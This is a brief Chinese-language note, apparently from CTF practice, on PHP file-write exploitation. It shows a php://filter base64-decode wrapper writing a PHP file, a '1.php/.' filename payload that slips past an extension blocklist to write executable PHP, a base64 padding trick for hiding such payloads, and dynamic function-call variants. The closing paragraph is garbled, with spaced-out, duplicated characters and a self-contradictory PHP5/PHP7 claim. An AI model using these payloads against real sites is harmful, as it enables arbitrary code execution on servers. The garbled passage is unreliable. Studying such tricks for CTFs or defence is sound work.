php伪协议写入
<?php
$filename = "php://filter/write=convert.base64-decode/resource=test.php/.";
file_put_contents($filename,"PD9waHAgcGhwaW5mbygpOz8+");
echo pathinfo("php://filter/write=convert.base64-decode/resource=test.php/.",PATHINFO_EXTENSION);
?>
经过测试发现一个可以再windows和linux上都行得通的方法:
在操作系统中,都是禁止使用/作为文件名的,但是不知道为什么后面加一个.就可以成功的写入1.php了。
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
所以payload如下
log_name=1.php/.&output=<?php phpinfo();?>
base64解码的trick:解码中遇到不符合规范的字符直接跳过。其他内容并不影响base64解码。另外因为base64解码是4位4位的解的,所以我们要保证我们需要解码的字符串之前的合法字符数为4的倍数,这样就不会影响我们传入的字符串正常解码
比如
<?php phpinfo();?>
//base64如下
PD9waHAgcGhwaW5mbygpOz8+
//我们在前面加入字符lt;lt最后结果如下
lt;ltPD9waHAgcGhwaW5mbygpOz8+
在这里我们加入的合法字符为ltlt,而;为不合法字符
最后结果为
get 的一种使用方式
$AA=${_GET}{X};
ECHO $AA;
如果直接以 x x x ( ) ; 来 调 用 , P H P 5 和 P H P 7 并 无 不 同 , 如 果 以 ( xxx();来调用,PHP5和PHP7并无不同,如果以( xxx();来调用,PHP5和PHP7并无不同,如果以(xxx)();的格式,在php7中,不允许通过(‘phpinfo’)();来执行动态函数,但是在PHP7以后可以通过(‘phpinfo’)();的方式来执行函数